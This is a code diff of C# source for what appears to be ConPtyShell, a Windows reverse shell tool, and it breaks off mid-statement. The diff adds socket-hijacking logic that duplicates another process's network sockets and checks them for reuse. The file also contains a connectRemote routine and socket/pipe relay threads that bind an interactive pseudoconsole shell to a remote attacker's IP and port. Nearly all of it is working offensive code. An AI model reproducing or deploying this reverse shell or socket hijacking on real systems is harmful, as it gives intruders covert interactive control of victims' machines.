LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); @@ -59,7 +61,8 @@ public bool CheckDeadlockDetected(IntPtr tHandle){ } } -public static class SocketHijacking { +public static class SocketHijacking +{ private const uint NTSTATUS_SUCCESS = 0x00000000; private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; @@ -70,6 +73,41 @@ public static class SocketHijacking { private const int DUPLICATE_SAME_ACCESS = 0x2; private const int SystemHandleInformation = 16; private const int SIO_TCP_INFO = unchecked((int)0xD8000027); + private const int SG_UNCONSTRAINED_GROUP = 0x1; + private const int SG_CONSTRAINED_GROUP = 0x2; + private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; + private const uint IOCTL_AFD_SET_CONTEXT = 0x12047; + private const int STATUS_SUCCESS = 0; + private const int STATUS_PENDING = 0x00000103; + private const int EVENT_ALL_ACCESS = 0x1f0003; + private const int SynchronizationEvent = 1; + private const UInt32 INFINITE = 0xFFFFFFFF; + + + private enum SOCKET_STATE : uint + { + SocketOpen = 0, + SocketBound = 1, + SocketBoundUdp = 2, + SocketConnected = 3, + SocketClosed = 3 + } + + private enum AFD_GROUP_TYPE : uint + { + GroupTypeNeither = 0, + GroupTypeConstrained = SG_CONSTRAINED_GROUP, + GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP + } + + public enum OBJECT_INFORMATION_CLASS : int + { + ObjectBasicInformation = 0, + ObjectNameInformation = 1, + ObjectTypeInformation = 2, + ObjectAllTypesInformation = 3, + ObjectHandleInformation = 4 + } [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO @@ -120,15 +158,6 @@ private struct OBJECT_TYPE_INFORMATION_V2 public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; } - public enum OBJECT_INFORMATION_CLASS : int - { - ObjectBasicInformation = 0, - ObjectNameInformation = 1, - ObjectTypeInformation = 2, - ObjectAllTypesInformation = 3, - ObjectHandleInformation = 4 - } - [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct OBJECT_NAME_INFORMATION { @@ -176,14 +205,16 @@ private struct WSAData } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] - private struct WSAPROTOCOLCHAIN { + private struct WSAPROTOCOLCHAIN + { public int ChainLen; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public uint[] ChainEntries; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] - private struct WSAPROTOCOL_INFO { + private struct WSAPROTOCOL_INFO + { public uint dwServiceFlags1; public uint dwServiceFlags2; public uint dwServiceFlags3; @@ -240,6 +271,91 @@ private struct TCP_INFO_v0 public byte SynRetrans; } + [StructLayout(LayoutKind.Sequential)] + private struct linger + { + public UInt16 l_onoff; + public UInt16 l_linger; + + } + + [StructLayout(LayoutKind.Sequential, Pack = 0)] + private struct IO_STATUS_BLOCK + { + public int status; + public IntPtr information; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCK_SHARED_INFO + { + public SOCKET_STATE State; + public Int32 AddressFamily; + public Int32 SocketType; + public Int32 Protocol; + public Int32 LocalAddressLength; + public Int32 RemoteAddressLength; + + // Socket options controlled by getsockopt(), setsockopt(). + public linger LingerInfo; + public UInt32 SendTimeout; + public UInt32 ReceiveTimeout; + public UInt32 ReceiveBufferSize; + public UInt32 SendBufferSize; + /* Those are the bits in the SocketProerty, proper order: + Listening; + Broadcast; + Debug; + OobInline; + ReuseAddresses; + ExclusiveAddressUse; + NonBlocking; + DontUseWildcard; + ReceiveShutdown; + SendShutdown; + ConditionalAccept; + */ + public ushort SocketProperty; + // Snapshot of several parameters passed into WSPSocket() when creating this socket + public UInt32 CreationFlags; + public UInt32 CatalogEntryId; + public UInt32 ServiceFlags1; + public UInt32 ProviderFlags; + public UInt32 GroupID; + public AFD_GROUP_TYPE GroupType; + public Int32 GroupPriority; + // Last error set on this socket + public Int32 LastError; + // Info stored for WSAAsyncSelect() + public IntPtr AsyncSelecthWnd; + public UInt32 AsyncSelectSerialNumber; + public UInt32 AsyncSelectwMsg; + public Int32 AsyncSelectlEvent; + public Int32 DisabledAsyncSelectEvents; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR + { + public UInt16 sa_family; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)] + public byte[] sa_data; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKET_CONTEXT + { + public SOCK_SHARED_INFO SharedData; + public UInt32 SizeOfHelperData; + public UInt32 Padding; + public SOCKADDR LocalAddress; + public SOCKADDR RemoteAddress; + // Helper Data - found out with some reversing + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)] + public byte[] HelperData; + } + + [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); @@ -278,6 +394,19 @@ private struct TCP_INFO_v0 [DllImport("ntdll.dll")] private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); + [DllImport("kernel32.dll", SetLastError = true)] + private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("ntdll.dll")] + private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState); + + // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode + [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] + private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); + + [DllImport("ntdll.dll")] + static extern int NtClose(IntPtr hObject); + //helper method with "dynamic" buffer allocation private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) @@ -300,21 +429,24 @@ private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLen } } - private static IntPtr QueryObjectTypesInfo() { + private static IntPtr QueryObjectTypesInfo() + { IntPtr ptrObjectTypesInformation = IntPtr.Zero; ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); return ptrObjectTypesInformation; } // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h - private static long AlignUp(long address, long align) { + private static long AlignUp(long address, long align) + { return (((address) + (align) - 1) & ~((align) - 1)); } // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. // credits for this goes to @0xrepnz // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 - private static byte GetTypeIndexByName(string ObjectName){ + private static byte GetTypeIndexByName(string ObjectName) + { byte TypeIndex = 0; long TypesCount = 0; IntPtr ptrTypesInfo = IntPtr.Zero; @@ -326,7 +458,7 @@ private static byte GetTypeIndexByName(string ObjectName){ { OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object - ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(new OBJECT_TYPE_INFORMATION_V2())); + ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2))); if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) { TypeIndex = Type.TypeIndex; @@ -337,7 +469,8 @@ private static byte GetTypeIndexByName(string ObjectName){ return TypeIndex; } - private static bool IsSocketHijackable(IntPtr socket) { + private static bool IsSocketHijackable(IntPtr socket) + { bool ret = false; int result = -1; UInt32 tcpInfoVersion = 0; @@ -350,9 +483,10 @@ private static bool IsSocketHijackable(IntPtr socket) { Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); ret = false; } - else { + else + { TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); - Console.WriteLine("debug: bytes returned " + bytesReturned.ToString() + " Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString()); + Console.WriteLine("debug: Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString()); if (tcpInfoV0.State == TcpState.SynReceived || tcpInfoV0.State == TcpState.Established) ret = true; } @@ -361,7 +495,8 @@ private static bool IsSocketHijackable(IntPtr socket) { } // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket - private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { + private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) + { IntPtr retSocket = IntPtr.Zero; IntPtr duplicatedSocket = IntPtr.Zero; WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); @@ -370,7 +505,8 @@ private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { { // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); - if (duplicatedSocket.ToInt64() > 0) { + if (duplicatedSocket.ToInt64() > 0) + { retSocket = duplicatedSocket; } } @@ -447,7 +583,7 @@ public static List GetSocketsTargetProcess(Process targetProcess) break; } //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO - ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE_TABLE_ENTRY_INFO())); + ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))); if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) continue; if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) @@ -494,10 +630,11 @@ public static List GetSocketsTargetProcess(Process targetProcess) return socketsHandles; } - public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){ + public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) + { bool inherited = false; List parentSocketsHandles = GetSocketsTargetProcess(parentProcess); - if(parentSocketsHandles.Count < 1) + if (parentSocketsHandles.Count < 1) return inherited; foreach (IntPtr parentSocketHandle in parentSocketsHandles) { @@ -526,8 +663,38 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) return inherited; } - private static void CheckOverlappedSocket(IntPtr socket) { - + private static bool IsSocketOverlapped(IntPtr socket) + { + bool ret = false; + IntPtr sockEvent = IntPtr.Zero; + int ntStatus = -1; + SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); + + ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); + if (ntStatus != STATUS_SUCCESS) + { + Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; + return ret; + } + + IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); + ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); + // Wait for Completion + if (ntStatus == STATUS_PENDING) + { + WaitForSingleObject(sockEvent, INFINITE); + ntStatus = IOSB.status; + } + + NtClose(sockEvent); + + if (ntStatus != STATUS_SUCCESS) + { + Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; + return ret; + } + if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true; + return ret; } public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) @@ -538,15 +705,22 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) return targetSocketHandle; else { - foreach (IntPtr socketHandle in targetProcessSockets) { + foreach (IntPtr socketHandle in targetProcessSockets) + { IntPtr dupSocketHandle = IntPtr.Zero; dupSocketHandle = DuplicateSocketFromHandle(socketHandle); if (dupSocketHandle == IntPtr.Zero) continue; - if (!IsSocketHijackable(dupSocketHandle)) { + if (!IsSocketHijackable(dupSocketHandle)) + { + closesocket(dupSocketHandle); + continue; + } + if (!IsSocketOverlapped(dupSocketHandle)) + { + Console.WriteLine("debug: found non overlapped socket 0x" + dupSocketHandle.ToString("X4") + " skpping..."); closesocket(dupSocketHandle); continue; } - CheckOverlappedSocket(dupSocketHandle); targetSocketHandle = dupSocketHandle; break; } @@ -555,9 +729,10 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) foreach (IntPtr dupHandle in targetProcessSockets) CloseHandle(dupHandle); if (targetSocketHandle == IntPtr.Zero) - throw new ConPtyShellException("Something went wrong in socket duplication."); //this means that WSADuplicateSocket or WSASocket exited with an expected behavior and no sockets candidate has been able to duplicate + throw new ConPtyShellException("Found multiple sockets. No one was active or overlapped, so no hijackable sockets found. Exiting..."); + return targetSocketHandle; - } + } } // source from --> https://stackoverflow.com/a/3346055 @@ -628,9 +803,9 @@ public static class ConPtyShell private const int STD_INPUT_HANDLE = -10; private const int STD_OUTPUT_HANDLE = -11; private const int STD_ERROR_HANDLE = -12; - - - + + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFOEX { @@ -677,14 +852,14 @@ private struct SECURITY_ATTRIBUTES public IntPtr lpSecurityDescriptor; public int bInheritHandle; } - + [StructLayout(LayoutKind.Sequential)] private struct COORD { public short X; public short Y; } - + [StructLayout(LayoutKind.Sequential)] private struct WSAData { @@ -698,7 +873,7 @@ private struct WSAData [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] public string szSystemStatus; } - + [StructLayout(LayoutKind.Sequential)] private struct SOCKADDR_IN { @@ -707,7 +882,7 @@ private struct SOCKADDR_IN public uint sin_addr; public long sin_zero; } - + [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); @@ -720,68 +895,68 @@ private struct SOCKADDR_IN [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - [DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)] + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - [DllImport("kernel32.dll", SetLastError=true)] + [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); - - [DllImport("kernel32.dll", SetLastError=true)] + + [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - [DllImport("kernel32.dll", SetLastError=true)] + + [DllImport("kernel32.dll", SetLastError = true)] private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); - + [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CloseHandle(IntPtr hObject); - + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); - + [DllImport("kernel32.dll", SetLastError = true)] private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); - - [DllImport("kernel32.dll", SetLastError=true)] - private static extern bool WriteFile(IntPtr hFile, byte [] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); [DllImport("kernel32.dll", SetLastError = true)] private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); - + [DllImport("kernel32.dll", SetLastError = true)] private static extern int ClosePseudoConsole(IntPtr hPC); - + [DllImport("kernel32.dll", SetLastError = true)] private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool GetConsoleMode(IntPtr handle, out uint mode); - + [DllImport("kernel32.dll")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool AllocConsole(); - - [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern bool FreeConsole(); - + [DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] private static extern IntPtr GetConsoleWindow(); - - [DllImport("kernel32.dll", CharSet=CharSet.Auto)] + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); @@ -797,25 +972,26 @@ private struct SOCKADDR_IN [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] private static extern Int32 WSAGetLastError(); - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int closesocket(IntPtr s); - - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); - - [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); - + [DllImport("ntdll.dll")] private static extern uint NtSuspendProcess(IntPtr processHandle); - + [DllImport("ntdll.dll")] private static extern uint NtResumeProcess(IntPtr processHandle); - private static void InitWSAThread() { + private static void InitWSAThread() + { WSAData data; if (WSAStartup(2 << 8 | 2, out data) != 0) throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); @@ -827,9 +1003,12 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) int error = 0; string host = remoteIp; - try { + try + { port = Convert.ToInt32(remotePort); - } catch { + } + catch + { throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); } @@ -841,45 +1020,52 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) sockinfo.sin_addr = inet_addr(host); sockinfo.sin_port = (short)htons((ushort)port); - if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { + if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0) + { error = WSAGetLastError(); throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); } return socket; } - - private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){ + + private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) + { Thread.Sleep(500);//little tweak for slower connections - try{ + try + { byte[] received = new byte[100]; int rowsTemp, colsTemp; int bytesReceived = recv(shellSocket, received, 100, 0); - string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); + string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); string rowsString = sizeReceived.Split(' ')[0].Trim(); string colsString = sizeReceived.Split(' ')[1].Trim(); - if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ - rows=(uint)rowsTemp; - cols=(uint)colsTemp; + if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)) + { + rows = (uint)rowsTemp; + cols = (uint)colsTemp; } } - catch{ + catch + { return; } } - - private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){ + + private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite) + { SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); - pSec.bInheritHandle=1; - pSec.lpSecurityDescriptor=IntPtr.Zero; - if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) + pSec.bInheritHandle = 1; + pSec.lpSecurityDescriptor = IntPtr.Zero; + if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new ConPtyShellException("Could not create the InputPipe"); - if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) + if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new ConPtyShellException("Could not create the OutputPipe"); } - - private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){ + + private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr) + { oldStdIn = GetStdHandle(STD_INPUT_HANDLE); oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); oldStdErr = GetStdHandle(STD_ERROR_HANDLE); @@ -887,15 +1073,16 @@ private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref I IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); SetStdHandle(STD_OUTPUT_HANDLE, hStdout); SetStdHandle(STD_ERROR_HANDLE, hStdout); - SetStdHandle(STD_INPUT_HANDLE, hStdin); + SetStdHandle(STD_INPUT_HANDLE, hStdin); } - - private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){ + + private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr) + { SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); SetStdHandle(STD_ERROR_HANDLE, oldStdErr); - SetStdHandle(STD_INPUT_HANDLE, oldStdIn); + SetStdHandle(STD_INPUT_HANDLE, oldStdIn); } - + private static void EnableVirtualTerminalSequenceProcessing() { uint outConsoleMode = 0; @@ -910,17 +1097,18 @@ private static void EnableVirtualTerminalSequenceProcessing() throw new ConPtyShellException("Could not enable virtual terminal processing"); } } - - private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){ + + private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols) + { int result = -1; EnableVirtualTerminalSequenceProcessing(); COORD consoleCoord = new COORD(); - consoleCoord.X=(short)cols; - consoleCoord.Y=(short)rows; + consoleCoord.X = (short)cols; + consoleCoord.Y = (short)rows; result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); return result; } - + private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) { IntPtr lpSize = IntPtr.Zero; @@ -937,14 +1125,14 @@ private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, { throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); } - success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero); + success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); if (!success) { throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); } return startupInfo; } - + private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) { PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); @@ -960,69 +1148,75 @@ private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string } return pInfo; } - - private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine){ - STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); + + private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine) + { + STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); return processInfo; } - + private static void ThreadReadPipeWriteSocket(object threadParams) { - object[] threadParameters = (object[]) threadParams; + object[] threadParameters = (object[])threadParams; IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; - int bufferSize=256; + int bufferSize = 256; bool readSuccess = false; Int32 bytesSent = 0; - uint dwBytesRead=0; - do{ + uint dwBytesRead = 0; + do + { byte[] bytesToWrite = new byte[bufferSize]; readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0); } while (bytesSent > 0 && readSuccess); Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); } - - private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){ + + private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket) + { object[] threadParameters = new object[2]; - threadParameters[0]=OutputPipeRead; - threadParameters[1]=shellSocket; + threadParameters[0] = OutputPipeRead; + threadParameters[1] = shellSocket; Thread thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocket); thThreadReadPipeWriteSocket.Start(threadParameters); return thThreadReadPipeWriteSocket; } - + private static void ThreadReadSocketWritePipe(object threadParams) { - object[] threadParameters = (object[]) threadParams; + object[] threadParameters = (object[])threadParams; IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; IntPtr hChildProcess = (IntPtr)threadParameters[2]; - int bufferSize=256; + int bufferSize = 256; bool writeSuccess = false; Int32 nBytesReceived = 0; uint bytesWritten = 0; - do{ + do + { byte[] bytesReceived = new byte[bufferSize]; nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); - writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, 